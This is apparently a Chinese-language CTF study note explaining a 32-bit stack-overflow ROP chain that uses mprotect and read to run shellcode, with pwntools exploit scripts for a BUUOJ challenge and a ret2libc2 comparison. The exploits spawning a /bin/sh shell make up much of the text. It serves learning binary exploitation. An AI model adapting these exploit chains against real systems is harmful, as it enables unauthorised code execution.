首先mprotect函数将一段具有可读写无执行权限的内存空间更改权限可执行
![[Pasted image 20221108161747.png]]
之后直接把恶意数据直接篡改到这里面即可
调用数据的话直接调用这里的地址即可

2pop3函数参数在栈上是如何实现的
首先给到exp看下内容
from pwn import *
elf = ELF(‘./pwn’)
sh = process(‘./pwn’)
= remote(‘node3.buuoj.cn’,27234)
pop3_ret = 0x0809e4c5
mem_addr = 0x080ea000
#可读可写的内存,但不可执行
mem_size = 0x3000
#通过调试出来的值
mem_proc = 0x7
#可代表可读可写可执行
mprotect_addr = elf.symbols[‘mprotect’]
read_addr = elf.symbols[‘read’]
payload_01 = ‘A’ * 0x38
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret) 这里的寄存器并非是用来传递参数而是作为返回地址来使得esp向下走12正好可以执行read函数
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)

#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令 又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取已知内存的地址内容大小
payload_01 += p32(mem_addr)

#这里就是shellcode了
sh.sendline(payload_01)
payload_sh = asm(shellcraft.sh(),arch = ‘i386’, os = ‘linux’)
sh.sendline(payload_sh)
#这就是read读入的内容
sh.interactive()

这里重点看这部分
32位多参函数传参问题仍然运用寄存器传参方法
payload_01 += p32(mprotect_addr)
payload_01 += p32(pop3_ret)
#执行完mprotect的返回地址,使esp往下+12
payload_01 += p32(mem_addr)
#mprotect函数参数1 修改的内存地址
payload_01 += p32(mem_size)
#mprotect函数参数2 修改的内存大小
payload_01 += p32(mem_proc)
#mprotect函数参数3 修改的权限
payload_01 += p32(read_addr)
#执行完上面pop3_ret后到read函数
payload_01 += p32(pop3_ret)
#执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
payload_01 += p32(0)
#read函数参数1 ,从输入端读取
payload_01 += p32(mem_addr)
#读取到的内容复制到指向的内存里
payload_01 += p32(0x100)
#读取大小
payload_01 += p32(mem_addr)
#这里就是shellcode了

解释
1栈溢出到eip将mprotect函数地址传入eip中为main函数返回地址
2后面跟着pop3_addr作为mprotect函数返回地址在mprotect函数执行完之后进行返回
3后面跟着三个mprotect函数的参数进行修改
4过程在输入完三个参数之后将pop3作为返回地址把参数跳过也就是弄走32位程序利用栈进行传参函数之中完成mpro函数的调用
利用pop3_addr最后的ret指令将sp指针上移
从而使得ip往上走1函数调用2跳过参数
这里插入下汇编ret指令![[default 1.jfif]]
具体含义是将sp向栈的上上方移并将上面的一个地址读入栈中
5下面的read函数由于ret指令则被调用
6最后跟着shell的写入地址进行shell的调用

补充下与ret2libc2的区别
其exp:
from pwn import *

sh = process(‘./ret2libc2’)

system_addr=0x8048490

gets_addr=0x8048460

pop_addr = 0x0804872f

buf2_addr = 0x804a080

payload = flat([112*A, gets_addr, pop_addr, buf2_addr, system_addr, 0xdeadbeef, buf2_addr])

sh.sendline(payload)

sh.sendline(‘/bin/sh’)

sh.interactive()
其运用的是先构造好rop链最后往里面写参数
调用gets函数将参数跳过后面写sys的地址地址参数所在地址
之后写入/bin/sh即可
最后写的地址是参数写入的地址

这道题是shellcode执行地址